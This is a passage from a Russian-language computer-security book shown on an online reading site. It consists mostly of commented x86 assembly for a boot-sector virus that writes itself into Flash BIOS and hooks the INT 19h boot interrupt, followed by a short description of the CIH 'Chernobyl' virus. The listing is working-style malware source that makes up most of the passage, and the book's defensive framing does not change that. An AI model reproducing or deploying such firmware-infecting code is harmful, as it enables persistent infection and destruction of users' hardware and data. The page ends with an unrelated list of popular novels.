Чтение онлайн

на главную - закладки

Жанры

Защити свой компьютер на 100% от вирусов и хакеров
Шрифт:

; Сравним с 16. Переходим к следующему сегменту

; в начале каждого параграфа

cmp si, 16

je ok_new_segment

jmp test16

; B эту точку попадаем, если место найдено

Found_storage:

; Перейдем к началу зоны

sub ax, 40h

mov ds, ax

; Получим требования к сохранению состояния чипа

mov ax, 0E001h

int 16h

; Проверим, сколько памяти необходимо для сохранения состояния

; чипа. Если слишком много, не будем

сохранять состояние

cmp bx, 512

jbe save_chipset

; Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset, 1

; Перейдем к записи

jmp write_enable

; Сюда попадаем, если Flash BIOS не обнаружен:

; записывать некуда – выходим

No_Flash_BIOS:

ret

; Сохраним состояние чипа

save_chipset:

; Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset, 0

; Сохраним состояние

mov al, 2

push cs

pop es

mov di, offset buffer

int 16h

; Записываемся во Flash BIOS

write_enable:

; Повышаем напряжение

mov al, 5

int 16h

; Разрешаем запись во Flash BIOS

mov al, 7

int 16h

; Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di, di

mov cx, 512

push cs

pop ds

xor si, si

cld

rep movsb

mov bx, es ; ВХ=сегмент вируса

xor ах, ах

mov ds, ax ; DS=Ta6nHua векторов

mov di, word ptr [19h*4] ; Смещение INT 19h

mov es, word ptr [19h*4+2] ; Сегмент INT 19h

; 3апишем JMP FAR по адресу точки входа в INT 19h

mov al, 0EAh

stosb

mov ax, offset int19handler

stosw

mov ax, bx

stosw

; Понизим напряжение

mov ax, 0E004h

int 16h

; 3ащитим Flash BIOS от записи

mov al, 6

int 16h

; Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset, 0

jne No_Flash_BIOS

; Восстановим состояние чипа

push cs

pop es

mov al, 3

mov di, offset buffer

int 16h

jmp No_Flash_BIOS

; Флаг несохранения состояния чипа

chipset db 0

; Флаг присутствия вируса во Flash BIOS

flash_done db 0

; Наш обработчик INT 19h.

int19Handler Proc Near

; Установим сегментный регистр ES в ноль

хог ах, ах

mov es, ax

; Проверим наличие резидентного вируса

mov ax, 0ABBAh

int 13h

; Если вирус присутствует, то запускаем оригинальный

; обработчик прерывания INT 19h

cmp ax, 0BAABh

jne real_int19h

; Перенесем вирус из BIOS в boot-буфер

push cs

pop ds

cld

xor si, si

mov di, 7c00h

mov cx,512

rep movsb

; 3апустим

вирус в boot-буфере

mov dl, 80h

jmp goto_Buffer

real_int19h:

; Произведем сброс дисковой подсистемы

xor ax, ax

int 13h

; Проинициализируем значения регистров для загрузки boot-сектора

mov cx, 1

mov dh, 0

mov ax, 0201h

mov bx, 7C00h

; Проверим, откуда грузимся: если DL не нулевой,

; переходим к загрузке с жесткого диска

cmp dl, 0

ja hd_int19h

; Прочтем boot-сектор с дискеты. Если при чтении происходит

; ошибка, то читаем с жесткого диска

int 13h

 jc fix_hd

; Остановим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done], 1

; 3апустим boot-сектор, находящийся в boot-буфере

db 0EAh ; Код команды JMP FAR

dw 7c00h

dw 0 Fix_HD:

; Установим номер диска для загрузки (диск С)

mov dl, 80h

HD_int19h:

; Произведем сброс дисковой подсистемы

хог ах, ах

int 13h ;

Прочтем boot-сектор

mov ax, 0201h

int 13h

jc Boot

jmp Goto_Buffer ;

Если не удалось загрузить boot-сектор,

; вызываем прерывание INT 18h

Boot:

int 18h

int19Handler EndP

Flash_BIOS EndP

End_Virus:

; Размер области памяти, необходимый для дополнения

; размера вируса до 510 байт

DupSize equ 510-offset End_Virus

; Заполнение не занятой вирусом части сектора

db DupSize dup (0)

db 55h, 0aah

Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).

Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.

Поделиться:
Популярные книги

Свадьба по приказу, или Моя непокорная княжна

Чернованова Валерия Михайловна
Любовные романы:
любовно-фантастические романы
5.57
рейтинг книги
Свадьба по приказу, или Моя непокорная княжна

Сборник коротких эротических рассказов

Коллектив авторов
Любовные романы:
эро литература
love action
7.25
рейтинг книги
Сборник коротких эротических рассказов

Отец моего жениха

Салах Алайна
Любовные романы:
современные любовные романы
7.79
рейтинг книги
Отец моего жениха

Вадбольский

Никитин Юрий Александрович
1. Вадбольский
Фантастика:
попаданцы
5.00
рейтинг книги
Вадбольский

Бастард Императора. Том 7

Орлов Андрей Юрьевич
7. Бастард Императора
Фантастика:
городское фэнтези
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Бастард Императора. Том 7

Повелитель механического легиона. Том VIII

Лисицин Евгений
8. Повелитель механического легиона
Фантастика:
технофэнтези
аниме
фэнтези
5.00
рейтинг книги
Повелитель механического легиона. Том VIII

В зоне особого внимания

Иванов Дмитрий
12. Девяностые
Фантастика:
попаданцы
альтернативная история
5.00
рейтинг книги
В зоне особого внимания

Таня Гроттер и магический контрабас

Емец Дмитрий Александрович
1. Таня Гроттер
Фантастика:
фэнтези
8.52
рейтинг книги
Таня Гроттер и магический контрабас

Бастард Императора. Том 2

Орлов Андрей Юрьевич
2. Бастард Императора
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Бастард Императора. Том 2

Кодекс Крови. Книга ХI

Борзых М.
11. РОС: Кодекс Крови
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Кодекс Крови. Книга ХI

Третий

INDIGO
Фантастика:
космическая фантастика
попаданцы
5.00
рейтинг книги
Третий

Возвышение Меркурия. Книга 16

Кронос Александр
16. Меркурий
Фантастика:
попаданцы
аниме
5.00
рейтинг книги
Возвышение Меркурия. Книга 16

Идеальный мир для Лекаря 9

Сапфир Олег
9. Лекарь
Фантастика:
боевая фантастика
юмористическое фэнтези
6.00
рейтинг книги
Идеальный мир для Лекаря 9

Потусторонний. Книга 1

Погуляй Юрий Александрович
1. Господин Артемьев
Фантастика:
фэнтези
попаданцы
5.00
рейтинг книги
Потусторонний. Книга 1